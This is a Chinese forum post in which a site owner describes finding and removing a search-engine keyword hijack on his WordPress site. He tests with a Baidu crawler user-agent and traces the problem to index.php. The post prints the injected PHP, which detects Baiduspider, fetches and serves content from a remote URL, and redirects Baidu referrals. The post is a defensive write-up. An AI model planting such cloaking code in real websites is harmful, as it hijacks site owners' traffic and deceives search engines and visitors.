立即注册找回密码
 

奇瑰网

社区官方在线联系

工作时间: 周一到周五早上09:00-11:00, 下午03:00-05:00, 晚上08:30-10:30(周六、日休息)
点击这里给我发消息 点击这里给我发消息
QQ: 617155901  E-Mail: qiguiwl@foxmail.com  E-Mail: qiguiqiqiku@foxmail.com
用户交流QQ群
①群87904533 ③群943814120 ④群499956348 ←提醒:请勿重复加群, 谢谢合作

[自媒体类] 我的网站被黑了,关键词被劫持,总结一下是怎么解决的

[复制链接]

333

主题

436

帖子

29万

积分

奇瑰技术组

Rank: 7Rank: 7Rank: 7

G币
285735
信用
329
体力
1235

论坛版主

发表于 2020-1-4 00:10:36 | 显示全部楼层 |阅读模式
我的网站被黑了,关键词被劫持,总结一下是怎么解决的。

1、发现被黑,网站被黑的症状


      两年前自己用wordpress搭了一个网站,平时没事写写文章玩玩。但是前些日子,突然发现网站的流量突然变小,site了一下百度收录,发现出了大问题,网站被黑了。大多数百度抓取收录的页面title和description被篡改,如下图,title标题被改成xx友情链接,描述description是一些广告网址。但是点进去以后,访问正常,页面显示正常,页面源代码也正常,丝毫没有被篡改的痕迹。但是,为什么百度爬虫会抓取到这些广告文字呢,这些文字哪里来的?



2、自己猜想了一下原因,页面和百度抓取收录显示不一致。查服务器日志方案不可行。


     网站实际页面和百度排虫收录显示不一致,网站源代码肯定被了,但怎么改的,改在哪里不知道,服务器里代码文件有几百个,一个个检查,一行行看源代码肯定不现实。首先想到了检查服务器日志。但是问题是不知道黑客哪天改的,所以只能调出了几个星期的服务器日志来检查。可是,检查日志也是庞大的工程,而且对此经验不足,也很费事,也不一定有结果。因此,只能又寻求新的办法。





3、找到了问题解决的关键路线,使用useragent-watch


     页面内容没变,但百度排虫抓取错了,问题肯定出在爬虫抓取身上。所以如果能看到排虫抓取的整个流程,或许会会找到答案。一番研究之后,找到了一个工具“user-agent-switcher”,可以模拟各种设备和搜索引擎排虫,chrome和火狐浏览器都有插件可以安装。chrome安装useragent-watch之后,添加百度爬虫useragent 设置:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如图。


其他搜索引擎useragent:http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22









     设置完以后,切换到模拟百度爬虫状态,再次访问我的网站,这次果然现原形了,网站这次跳到了另一个网站页面,这个页面内容就是,我网站在百度上显示的那些广告信息,如下图。再把useragent切换回来,输入我的网站域名,这次访问一切正常。这次可以下结论了,问题是在useragent上。黑客肯定修改了网站的源代码,而且是在源代码里加了判断语句,如果是当前请求的useragent是搜索引器爬虫,就把排虫引到把广告页面,如果是其他的就正常执行的。





4、找到被修改的源代码


     虽然找到了问题原因,但是该怎么找到被修改的文件呢。不过,了解了wordpress源代码文件执行顺序流程,一切就很简单了,如下图,按照顺序一个个文件找很快就能找到。




       登录到ftp,按照文件首先找到了index.php文件,果然,运气不错,第一个文件就是被修改的。黑客在代码最开始就添加了如下图的代码。




5、解释下这段php代码的意思:


$file="http://www.XXXX.com/XXXX/X.htm";
$referer=$_SERVER["HTTP_REFERER"];//来路的网址url
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//当前请求的内容转化成小写


if(strstr($referer,"baidu")&&strstr($referer,"456"))//如果是从百度点到该页的
{
   Header("Location: $url");//转到原来的正常url
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))//如果是百度排虫
{
       
       
                $content=file_get_contents($file);//转到之前定义的那个url页面
                echo $content;
       
        exit;


}
  把这一段删了,就ok了。重新提交百度,让百度重新抓取,过了几天百度快照更新就好了。





上一篇:4个技巧让你的php网站运行速度飙升
下一篇:香港站群服务器E5 4C/8C大量现货,直营机房
我们尊重所有会员!只要你付出了,大家都会看在眼里,态度决定一切!
感谢您对奇瑰资源论坛的关注与支持!希望各位朋友帮忙一起宣传下社区,好社区需要大家的推广.谢谢!
目前,很多网站和论坛盗用或者利用奇瑰资源论坛免费发布的资源搞所谓的vip或者销售,请谨防上当受骗!
一分钱一分货,好货不便宜,便宜没好货,记住这句,你上当受骗的概率基本为0,贪便宜就已经为你受骗打下基础!
特别说明:奇瑰资源论坛是正规网站,严格遵守相关法律法规,
回复

使用道具 举报

使用高级回帖 (可批量传图、插入视频等)

发表回复

您需要登录后才可以回帖 登录 | 立即注册  

本版积分规则   Ctrl + Enter 快速发布  

发帖时请遵守我国法律,网站会将有关你发帖内容、时间以及发帖IP地址等记录保留,只要接到合法请求,即会将信息提供给有关政府机构。

公益广告
Powered by Discuz! X3.4 粤ICP备18094825号-1  知道创宇云安全  |网站地图
Copyright © 2014-2019 www.qiguiwl.cn All Rights Reserved.
快速回复 返回顶部 返回列表